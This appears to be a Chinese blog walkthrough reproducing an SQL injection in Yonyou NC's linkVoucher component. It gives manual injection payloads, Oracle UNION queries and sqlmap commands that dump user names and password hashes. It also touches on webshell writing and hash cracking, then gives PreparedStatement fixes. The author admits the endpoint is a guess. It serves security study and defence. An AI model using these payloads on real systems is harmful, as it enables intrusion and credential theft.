1. 项目概述与背景最近在安全圈里用友NC的linkVoucher组件又爆出了一个SQL注入漏洞编号是XVE-2024-12622。这个漏洞其实挺典型的属于那种在参数拼接时没有做好过滤导致的攻击者可以利用它来获取数据库里的敏感信息甚至在某些情况下能进一步深入系统。我花了一些时间在本地搭建了一个测试环境把这个漏洞的复现过程完整走了一遍。这篇文章我就来详细拆解一下这个漏洞的原理、复现步骤以及在这个过程中我踩过的一些坑和总结出来的技巧。无论你是刚入门安全测试的新手还是想了解企业级应用常见漏洞的老手这篇实操记录应该都能给你一些直接的参考。用友NC作为国内广泛使用的ERP系统其安全性一直备受关注。linkVoucher组件通常与凭证、单据处理相关是业务流中的关键一环。这类组件的漏洞往往意味着攻击者可能触及到核心的财务或业务数据危害等级不言而喻。复现这类漏洞不仅能帮助我们理解漏洞的成因更能为后续的代码审计、安全加固提供清晰的思路。下面我就从环境搭建开始一步步带你还原整个攻击链。2. 漏洞原理深度解析2.1 SQL注入漏洞的核心成因要理解这个漏洞我们得先回到SQL注入最根本的问题上不可信数据与SQL语句的拼接。在Web应用中开发人员经常需要根据用户输入的参数比如单据ID、查询条件来动态构造SQL语句。如果这些用户输入的数据没有被严格地检查、过滤或转义就直接拼接到SQL语句中那么攻击者就可以精心构造一些特殊的数据改变原有SQL语句的逻辑。举个例子原本的查询可能是这样的SELECT * FROM voucher WHERE id ‘用户输入的ID’。如果程序直接把用户输入的内容用单引号包起来拼进去那么当用户输入1’ OR ‘1’’1时最终的SQL语句就变成了SELECT * FROM voucher WHERE id ‘1’ OR ‘1’’1’。‘1’’1’这个条件永远为真导致这条查询语句返回了所有凭证记录而不是ID为1的那一条。这就是最基础的“永真条件”绕过。用友NC linkVoucher组件的这个漏洞本质上就是某个接口在处理传入的voucherId或类似参数时直接将其拼接到了查询语句中而没有使用预编译语句Prepared Statement或进行有效的过滤。攻击者通过注入SQL代码可以逐步探测数据库结构、窃取数据。2.2 LinkVoucher组件接口分析根据公开的漏洞信息和我的测试漏洞点通常出现在一个用于获取或操作凭证链接信息的Servlet或Action中。例如一个可能的请求路径是/nccloud/linkVoucher/getVoucherInfo.do或类似。关键参数我们暂且称之为linkKey或billId其值被直接用于数据库查询。为什么这类漏洞在企业软件中屡见不鲜这往往与历史代码、对性能的片面追求误以为拼接字符串更快以及安全意识的缺失有关。特别是在一些老版本的系统或者边缘功能模块中安全编码规范可能没有得到严格执行。理解这一点我们在进行黑盒测试或白盒审计时就应该格外关注那些接收参数并直接进行数据库操作的接口。注意在进行漏洞复现或安全测试时务必在获得授权的环境如自己搭建的测试环境、合法的靶场中进行。未经授权对任何系统进行测试都是非法且不道德的行为。3. 本地测试环境搭建3.1 环境准备与用友NC部署复现漏洞的第一步是搭建一个与漏洞版本匹配的用友NC环境。根据漏洞信息受影响的版本可能包括NC 6.5及更早的某些版本。我选择在一个隔离的虚拟机中完成这项工作。所需资源清单虚拟机软件VMware Workstation 或 VirtualBox。操作系统Windows Server 2008 R2 或 Windows Server 2012。用友NC对老版本Windows兼容性更好。用友NC安装包需要特定版本的安装程序及补丁包。这通常需要从官方渠道或授权的测试资源获取。数据库Oracle 11g 或 Microsoft SQL Server。我选择Oracle 11g因为这是NC常见的搭配。Java环境JDK 1.7 或 JDK 1.8具体版本需严格匹配NC的要求。部署步骤简述安装操作系统在虚拟机中安装Windows Server并配置好网络建议使用NAT模式。安装数据库先安装Oracle 11g创建一个新的数据库实例例如orcl。记住SID、端口、系统管理员密码等信息。安装JDK安装指定版本的JDK并配置JAVA_HOME和PATH环境变量。安装用友NC运行NC安装程序。关键步骤在于配置应用服务器如Apache Tomcat和连接数据库。在数据库配置环节需要填入之前创建的Oracle实例信息。初始化数据库安装程序通常会提供数据库初始化脚本需要在Oracle中执行创建NC所需的表结构和初始数据。启动服务安装完成后启动NC的中间件服务如Tomcat服务。通过浏览器访问http://[服务器IP]:端口应该能看到NC的登录页面。这个过程可能会遇到各种问题比如端口冲突、数据库连接失败、JDK版本不兼容等。我的经验是严格按照官方文档的版本要求来并详细记录每一步的配置参数。3.2 漏洞组件确认与访问环境启动后我们需要确认linkVoucher组件是否存在以及其访问路径。由于没有官方文档明确指明漏洞接口我们需要通过一些方法进行探测静态资源分析查看NC的Web应用目录如webapps/nc_web/或ierp/bin/下的某些目录寻找包含 “linkVoucher”、“voucherLink” 等关键词的JSP、JS或Java类文件。这能给我们提供接口URL的线索。网络流量抓包如果你有一个正常使用linkVoucher功能的客户端或测试账号可以在浏览器中打开开发者工具F12的Network标签页然后操作linkVoucher相关功能如查看凭证关联。观察发出的HTTP请求找到目标接口的URL和参数。基于公开信息结合XVE-2024-12622漏洞的简要描述通常漏洞详情或PoC概念验证代码中会提及关键参数。我们可以假设一个常见的模式例如/nccloud/web/linkVoucher/do?methodloadid。在我的测试中通过分析和猜测我最终定位到一个疑似存在问题的端点。重要提示以下路径和参数仅为示例真实漏洞点可能不同但原理相通。假设漏洞接口为http://[NC服务器IP]:端口/servlet/LinkVoucherServlet4. 漏洞复现实操过程4.1 手工注入探测与验证手工注入是理解漏洞本质的最佳方式。我们使用浏览器或Burp Suite这类工具来手动发送恶意请求。第一步识别注入点我们向疑似接口发送一个正常请求观察响应。GET /servlet/LinkVoucherServlet?billID1001 HTTP/1.1 Host: [target_ip]:port如果页面返回了ID为1001的凭证链接信息说明这个参数是有效的。第二步触发错误判断注入类型现在我们尝试通过输入特殊字符来“破坏”原有的SQL语句看数据库是否会报错从而确认是否存在注入以及注入类型数字型还是字符型。测试数字型注入尝试billID1001 and 11。如果页面正常返回再尝试billID1001 and 12。如果第一个请求正常而第二个请求返回空或错误则极可能存在数字型注入。因为12为假可能导致整个查询无结果。测试字符型注入尝试billID1001’在参数值后加一个单引号。如果页面返回数据库错误信息如Oracle的“ORA-xxxxx”错误或JDBC错误这强烈表明参数值被直接放入了SQL语句的引号内存在字符型注入。错误信息可能类似于“未封闭的引号”。在我的测试中输入billID1001’后页面返回了一个包含SQL语法错误的堆栈信息这明确证实了这是一个字符型SQL注入漏洞。第三步信息收集确认注入点后我们可以利用数据库的特性来获取信息。以Oracle数据库为例判断列数使用ORDER BY子句。billID1001’ order by 5--。不断递增数字直到页面返回错误说明超出了查询结果的列数。假设order by 4正常order by 5错误那么原查询语句返回4列。联合查询探测使用UNION SELECT来让数据库执行我们额外的查询并将结果展示在页面上。首先构造一个与原查询列数相同的NULL查询billID1001’ union select null,null,null,null from dual--。如果页面正常说明联合查询可用。获取基础信息将NULL替换为数据库函数来获取当前用户、数据库名等信息。billID1001’ union select user, banner, null, null from v$version where rownum1--这个Payload会尝试在结果中显示当前数据库用户和数据库版本信息。实操心得在测试联合查询时务必确保前后查询的列数、数据类型大致匹配。如果原查询第一列是字符串而你union select的第一列是数字可能会导致页面显示异常或错误。通常先用null占位然后逐个替换为‘a’字符串、1数字或sysdate日期来测试。4.2 使用SQLMap进行自动化利用手工注入能让我们深入理解但对于全面的信息收集和利用自动化工具更高效。SQLMap是这方面的神器。第一步基本检测在确认了注入点和参数后我们可以使用SQLMap进行初步检测。python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” --batch--batch参数会让SQLMap自动选择默认选项适合快速测试。SQLMap会尝试各种注入技术布尔盲注、时间盲注、报错注入等来确认漏洞。第二步获取数据库信息一旦确认漏洞存在我们可以逐步获取更多信息。# 获取当前数据库用户名和名称 python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” --current-user --current-db --batch # 列出所有数据库 python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” --dbs --batch # 假设NC使用的数据库名为 ‘ncdb’列出该库的所有表 python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” -D ncdb --tables --batch第三步窃取敏感数据我们的目标是找到存放凭证、用户等敏感信息的表。# 通过表名猜测例如 ‘sm_user’ (用户表)、‘voucher_main’ (凭证主表) # 先查看 ‘sm_user’ 表的列结构 python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” -D ncdb -T sm_user --columns --batch # 假设有 ‘user_code’, ‘user_password’, ‘user_name’ 等列然后dump这些列的数据 python sqlmap.py -u “http://[target_ip]:port/servlet/LinkVoucherServlet?billID1001” -D ncdb -T sm_user -C “user_code,user_password,user_name” --dump --batch通过以上步骤我们就有可能获取到系统的用户账号和加密后的密码哈希值。如果密码哈希强度不足如MD5攻击者可以尝试离线破解。注意事项使用SQLMap时务必控制请求频率避免对目标系统造成拒绝服务DoS影响。可以使用--delay参数设置请求间隔如--delay 1表示每秒1个请求。在授权测试中也应遵循最小影响原则。5. 漏洞深度利用与影响分析5.1 进一步利用的可能性获取数据库数据只是开始。根据数据库权限和NC系统的配置还可能存在更深入的利用路径文件系统读写如果数据库用户具有高权限如Oracle的DBA角色或MySQL的FILE权限可能尝试读取服务器文件或写入Webshell。Oracle尝试使用UTL_FILE包读取文件但通常权限控制较严。SQL Server如果以xp_cmdshell执行系统命令危害极大。但在NC环境中通常数据库用户权限会被收紧。更常见的是通过SELECTINTO OUTFILEMySQL或类似功能将一段PHP/JSP代码写入Web目录从而获取服务器控制权。但这需要知道Web目录的绝对路径并且数据库有写权限。权限提升与横向移动获取到的用户密码哈希如果被破解出弱口令攻击者可以尝试登录NC系统。结合NC系统本身可能存在的其他漏洞如越权、反序列化等攻击者可能从外部SQL注入点逐步控制整个应用服务器甚至内网其他机器。数据篡改与业务风险SQL注入不仅用于“读”还可用于“写”、“删”、“改”。攻击者可以修改凭证状态、金额或删除关键业务日志直接对企业的财务和运营造成实质性损害。5.2 漏洞的根本原因与修复建议这个漏洞的根本原因非常清晰在LinkVoucherServlet或相关处理类中对billID参数未做任何过滤直接拼接到了SQL查询字符串中。修复方案使用预编译语句PreparedStatement这是根治SQL注入的最佳实践。将SQL语句模板与参数分离数据库会预先编译SQL结构后续传入的参数只会被当作数据来处理无法改变SQL语句的逻辑。// 错误示例漏洞代码 String sql “SELECT * FROM link_voucher WHERE bill_id ‘“ billID “‘“; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql); // 正确示例修复后 String sql “SELECT * FROM link_voucher WHERE bill_id ?“; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, billID); // 无论billID是什么内容这里都只会被当作一个字符串值 ResultSet rs pstmt.executeQuery();实施严格的输入验证在参数传入DAO层之前进行白名单验证。例如如果billID必须是数字则用正则表达式^[0-9]$进行校验不符合规则的直接拒绝。最小权限原则连接数据库的应用程序账户不应拥有DBA或ALL PRIVILEGES权限。只授予其执行必要操作如对特定表的SELECT的最小权限这样即使发生注入也能将损害降到最低。部署Web应用防火墙WAF作为临时或辅助防护措施WAF可以识别和拦截常见的SQL注入攻击特征。但这不能替代代码层面的修复。6. 复现过程中的常见问题与排查在复现过程中你可能会遇到以下问题问题现象可能原因排查与解决思路访问NC页面报404或500错误1. 服务未成功启动。2. 中间件端口被占用或配置错误。3. 数据库连接失败。1. 检查Tomcat等服务进程是否运行查看日志文件如catalina.out。2. 使用netstat -ano检查端口占用情况确认server.xml配置正确。3. 检查NC的数据库连接配置文件如jdbc.properties确认URL、用户名、密码无误。手工注入时页面无变化不报错也不返回数据1. 参数名错误不是billID。2. 存在Token或Session验证未携带合法会话。3. 可能是盲注布尔盲注或时间盲注页面响应没有明显错误回显。1. 通过抓包或分析代码确认准确的参数名。2. 使用Burp Suite抓取一个正常请求确保测试时携带完整的Cookie和Session。3. 尝试布尔盲注PayloadbillID1001’ and ‘1’’1和billID1001’ and ‘1’’2观察页面内容如标题、某个特定单词是否存在的细微差别。或尝试时间盲注billID1001’ and sleep(5)--观察响应是否延迟。SQLMap检测不到注入点1. 注入点需要特定的Cookie或Header。2. 存在动态参数或反爬机制。3. SQLMap的默认检测级别不够。1. 使用--cookie参数提供有效的会话Cookie。2. 使用--random-agent伪装User-Agent或使用--proxy设置代理观察流量。3. 提高检测等级和风险级别--level 3 --risk 3。Level越高测试的Payload和参数越多Risk越高测试的风险操作如INSERT越多。联合查询UNION SELECT执行失败1. 前后查询列数不一致。2. 前后查询对应列的数据类型不兼容。3. 原SQL语句较复杂联合查询位置不对。1. 用ORDER BY精确判断列数。2. 在UNION SELECT中尝试用NULL、‘a’、1、sysdate等不同类型占位符进行组合测试找到兼容的类型。3. 尝试在参数值后添加注释符如--、#来注释掉原SQL后面的部分确保我们的注入语句是独立的。获取到的密码哈希无法破解1. NC系统使用了加盐Salt的哈希算法且强度较高。2. 获取的并非密码字段或是多重加密后的结果。1. 分析哈希值特征长度、字符集判断其算法如MD5、SHA-1、BCrypt。2. 查阅NC相关文档或代码了解其用户密码的存储加密方式。对于强哈希加盐常规彩虹表攻击无效。我的一个实操心得在测试企业级应用如用友NC时会话Session管理是一个大坑。很多接口都要求先登录获取一个有效的JSESSIONID。直接用SQLMap跑未经验证的接口是没用的。我的做法是先用浏览器或Burp正常登录系统然后从Burp的Proxy历史记录里复制出包含Cookie: JSESSIONIDXXXXX的完整请求头再将其作为--headers或--cookie参数提供给SQLMap。这样才能模拟一个已认证用户的请求触及到需要权限的漏洞接口。